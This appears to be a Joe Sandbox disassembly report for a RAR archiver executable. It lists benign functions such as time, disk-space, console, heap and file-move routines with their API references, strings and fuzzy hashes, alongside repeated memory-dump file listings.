Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 5edc9aacada912d44111c0c5b3025bcfc37222d54029d4996b892e874874bebb
Instruction ID: d6bb0b82a8dcf4fa041978fa53ab56b1735fe5f2176fbb0d50675424101fca7c
Opcode Fuzzy Hash: 5edc9aacada912d44111c0c5b3025bcfc37222d54029d4996b892e874874bebb
Instruction Fuzzy Hash: 55F0893170C74183E3108F17B44111BA7A8FB89BD4F048174EA9993B98DF7CC5568700

Function 00007FF6FAA6C0A8 Relevance: 3.0, APIs: 2, Instructions: 19timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32 ref: 00007FF6FAA6C0C5
SystemTimeToFileTime.KERNEL32 ref: 00007FF6FAA6C0D5

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Time$System$File
String ID:
API String ID: 2838179519-0
Opcode ID: 28ee689204bca22ca7f0ae273eeb0c3bf9f998676d3510b58b83d2159759f543
Instruction ID: e544cb7b934f46771aa5e59051a21e6d7b109685d8b5d261dbfffe30db176e61
Opcode Fuzzy Hash: 28ee689204bca22ca7f0ae273eeb0c3bf9f998676d3510b58b83d2159759f543
Instruction Fuzzy Hash: D0E03962618A4181EF519F10F89116AB360FBA8788F441122E69E876A8EE2CD25ACB00

Function 00007FF6FAA43144 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32(00007FF6FAA42684), ref: 00007FF6FAA4319F

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 336a33042f1e52100b28f5a1ad6ae687e8956255ef3791e684bc327077314d0d
Instruction ID: 4385df8a7675e1835e4df88cd2ad30de46084f58b3311cb698b63089641c2b87
Opcode Fuzzy Hash: 336a33042f1e52100b28f5a1ad6ae687e8956255ef3791e684bc327077314d0d
Instruction Fuzzy Hash: D3014C7262868187EB70DB19E4413ABB3A1FB88744F900171F69CC2698EF3CD64ACF50

Function 00007FF6FAA89D20 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6FAA89D24

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 70d3c2c663c2eec3c7abe55d9b20e9285272005f266212ac2cd176c9e927fba8
Instruction ID: 2122fab8135ced3fb58c56ea9106470697df3c8016b584ce3bed355a9960b487
Opcode Fuzzy Hash: 70d3c2c663c2eec3c7abe55d9b20e9285272005f266212ac2cd176c9e927fba8
Instruction Fuzzy Hash: D2B09220E07B42C2EB882B216C8622423A47F48700F8801B8C55D90360EF2D60BA9700

Function 00007FF6FAA8DE20 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f9fe6a0e708da395deaa9719d2eaf30e970c7ef7031061cc4a3703374185ea3
Instruction ID: 5aad7cbdfa77e078a8c66c11835b064122f8391aea7249b1e236eeabaff23d82
Opcode Fuzzy Hash: 8f9fe6a0e708da395deaa9719d2eaf30e970c7ef7031061cc4a3703374185ea3
Instruction Fuzzy Hash: DDF06871B192958AEB948F28A40262977E0F718380F40807AE59DC3B44DB3CD0659F04

Function 00007FF6FAA7B6D8 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2ce7112df4d35fd3721b6807b6281889e1b5803173610b7745d5ca91cf06b82
Instruction ID: 870fd44137c12f8b92eb975cb7dd43cac9059f3a1923c05047cb99260d3817c8
Opcode Fuzzy Hash: e2ce7112df4d35fd3721b6807b6281889e1b5803173610b7745d5ca91cf06b82
Instruction Fuzzy Hash: C8A00162908A06D5E784AF01E9504326224AB54744B4005B1D16E810E8AE3DA55AC240

Function 00007FF6FAA86130 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA862AD

Strings

NAN(SNAN), xrefs: 00007FF6FAA861C5
NAN(IND), xrefs: 00007FF6FAA861DB
nan, xrefs: 00007FF6FAA86198
NAN, xrefs: 00007FF6FAA86191
INF, xrefs: 00007FF6FAA861A3
nan(ind), xrefs: 00007FF6FAA861E6
inf, xrefs: 00007FF6FAA861B6
nan(snan), xrefs: 00007FF6FAA861D0

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: 336881e81ddd14afa9560f251b33c86b073c2b2d41bd1fd01ec7cedf827ef5ce
Instruction ID: 42fafcd89e9db0e74c2bb0dae81881d5ee7becb6dce539a1eab8f387bfe953e5
Opcode Fuzzy Hash: 336881e81ddd14afa9560f251b33c86b073c2b2d41bd1fd01ec7cedf827ef5ce
Instruction Fuzzy Hash: 0241A172A09B8589F704CF65E8417DD37A4EB08398F0055B6EE6C87B99EE3DD02AC344

Function 00007FF6FAA37988 Relevance: 13.6, APIs: 9, Instructions: 60COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(00000000,00000100,?,?,00000002,00007FF6FAA37892), ref: 00007FF6FAA379BC
GetStdHandle.KERNEL32 ref: 00007FF6FAA379CA
GetConsoleMode.KERNEL32 ref: 00007FF6FAA379E0
GetConsoleMode.KERNEL32 ref: 00007FF6FAA379EE
SetConsoleMode.KERNEL32 ref: 00007FF6FAA379FC
SetConsoleMode.KERNEL32 ref: 00007FF6FAA37A0A
ReadConsoleW.KERNEL32 ref: 00007FF6FAA37A24
SetConsoleMode.KERNEL32 ref: 00007FF6FAA37A3A
SetConsoleMode.KERNEL32 ref: 00007FF6FAA37A47

Part of subcall function 00007FF6FAA382E4: fflush.LIBCMT ref: 00007FF6FAA3832F

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Console$Mode$Handle$Readfflush
String ID:
API String ID: 1039280553-0
Opcode ID: 5c62bb105008418d5d8f1a35d4748ced2dc44b1bf30dc7e2d2292546f420945d
Instruction ID: 95632c6fd794e1a53098537790a588c005d4aba691ecfd7d7ad605a607bfc947
Opcode Fuzzy Hash: 5c62bb105008418d5d8f1a35d4748ced2dc44b1bf30dc7e2d2292546f420945d
Instruction Fuzzy Hash: C4218626A1864297EB009F25A90053A6365FB89BD1F540270EE6A537A8EE3DE55BC700

Function 00007FF6FAA70140 Relevance: 12.2, APIs: 8, Instructions: 205COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FAA70211
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6FAA70222
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FAA7022D
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6FAA7023E
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FAA703D3
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6FAA703E4
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FAA703EF
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6FAA70400

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: 17b6f32cd8d6fcc81585299b8a9163aaa78fd032cef7b8e26f7336cc4ddc1b9c
Instruction ID: c0fd2462ddbb3faf3a3df9d65245f371444c84e3a66d35a8453ee7da6e01475e
Opcode Fuzzy Hash: 17b6f32cd8d6fcc81585299b8a9163aaa78fd032cef7b8e26f7336cc4ddc1b9c
Instruction Fuzzy Hash: 4C81B362A0DA8286EB61DA11E4403BB6391EB44B94F184171DB6DC7BDDEF3CE95B8340

Function 00007FF6FAA2C468 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 420COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA2C7AE
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA2C97F
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA2C9DC

Strings

xc%u, xrefs: 00007FF6FAA2C9CC
x%u, xrefs: 00007FF6FAA2C96F
;%u, xrefs: 00007FF6FAA2C79E

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: swprintf
String ID: ;%u$x%u$xc%u
API String ID: 233258989-2277559157
Opcode ID: 18e8202548affe00674286321b5f124759c48e138fb2ddf063aaae7488dbebd7
Instruction ID: 25aee420c0ed4ecfeea69fc5e424db4273d35deef5045156abdf538f9b0adc20
Opcode Fuzzy Hash: 18e8202548affe00674286321b5f124759c48e138fb2ddf063aaae7488dbebd7
Instruction Fuzzy Hash: B102DF22A0C68285EB28DE2A95453FE6391AF45780F0440B5DAAEC77C2FE7DF55E8301

Function 00007FF6FAA41634 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32 ref: 00007FF6FAA41694
GetShortPathNameW.KERNEL32 ref: 00007FF6FAA416B5

Part of subcall function 00007FF6FAA6DAC0: CompareStringW.KERNEL32(?,?,?,?,?,?,00007FF6FAA54C1E,?,?,?,?,?,?,?,00007FF6FAA79706), ref: 00007FF6FAA6DADF

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA4175F
MoveFileW.KERNEL32 ref: 00007FF6FAA417CD
MoveFileW.KERNEL32 ref: 00007FF6FAA41815

Strings

rtmp%d, xrefs: 00007FF6FAA41755

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: FileMoveNamePath$CompareLongShortStringswprintf
String ID: rtmp%d
API String ID: 2308737092-3303766350
Opcode ID: de0bcd3fdd60b8f1859e4975922cee0e0ab7dbe13660142ab9f58961243ff5d4
Instruction ID: 08385590d8f4600612170f89fca6ba8a382b7ebb9c87da1da2fc7cab89088251
Opcode Fuzzy Hash: de0bcd3fdd60b8f1859e4975922cee0e0ab7dbe13660142ab9f58961243ff5d4
Instruction Fuzzy Hash: 13516F22A18A8645EB71AF21D8411FE6351BF45BC4F551071ED2ECBAEAFE3CD60AC700

Function 00007FF6FAA6B650 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 00007FF6FAA6B66A
CloseHandle.KERNEL32 ref: 00007FF6FAA6B685
CreateEventW.KERNEL32 ref: 00007FF6FAA6B699
GetLastError.KERNEL32 ref: 00007FF6FAA6B6A6
CloseHandle.KERNEL32 ref: 00007FF6FAA6B6C0

Strings

rar -ioff, xrefs: 00007FF6FAA6B65C, 00007FF6FAA6B68B

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CloseCreateEventHandle$ErrorLast
String ID: rar -ioff
API String ID: 4151682896-4089728129
Opcode ID: 1b32cc9a5b3853ccf39725862a0ac8b7945a78bb0f3e0147b511bdfad103efab
Instruction ID: ea5771c1a44597ce9294de6614cdb5132e733d858e5634d488403f9c70c7ea1c
Opcode Fuzzy Hash: 1b32cc9a5b3853ccf39725862a0ac8b7945a78bb0f3e0147b511bdfad103efab
Instruction Fuzzy Hash: 1F01D128E5DA0BC2FB18DB70EA542722355AF49741F4404B0E82EC23E0EF3EE05F8A40

Function 00007FF6FAA6B470 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6FAA6B488
GetProcAddress.KERNEL32 ref: 00007FF6FAA6B4A0
GetProcAddress.KERNEL32 ref: 00007FF6FAA6B4D5

Strings

kernel32, xrefs: 00007FF6FAA6B481
SetDllDirectoryW, xrefs: 00007FF6FAA6B496
SetDefaultDllDirectories, xrefs: 00007FF6FAA6B4CB

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: SetDefaultDllDirectories$SetDllDirectoryW$kernel32
API String ID: 667068680-1824683568
Opcode ID: 8cf5c4d02fd6faa15582d92511ad3bd01355bb3a29212f000fb48e6594ec6bc8
Instruction ID: 549d12ca9e303d334d4afeb6ee7c84f05877bfc42421023efc2880d95ea12854
Opcode Fuzzy Hash: 8cf5c4d02fd6faa15582d92511ad3bd01355bb3a29212f000fb48e6594ec6bc8
Instruction Fuzzy Hash: E6F01925A49B4692EF049B15FA540762360AF4EBC0B4860B0ED2E877A8FF2DE55EC700

Function 00007FF6FAA81ADC Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 488COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA81B14
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA81E39
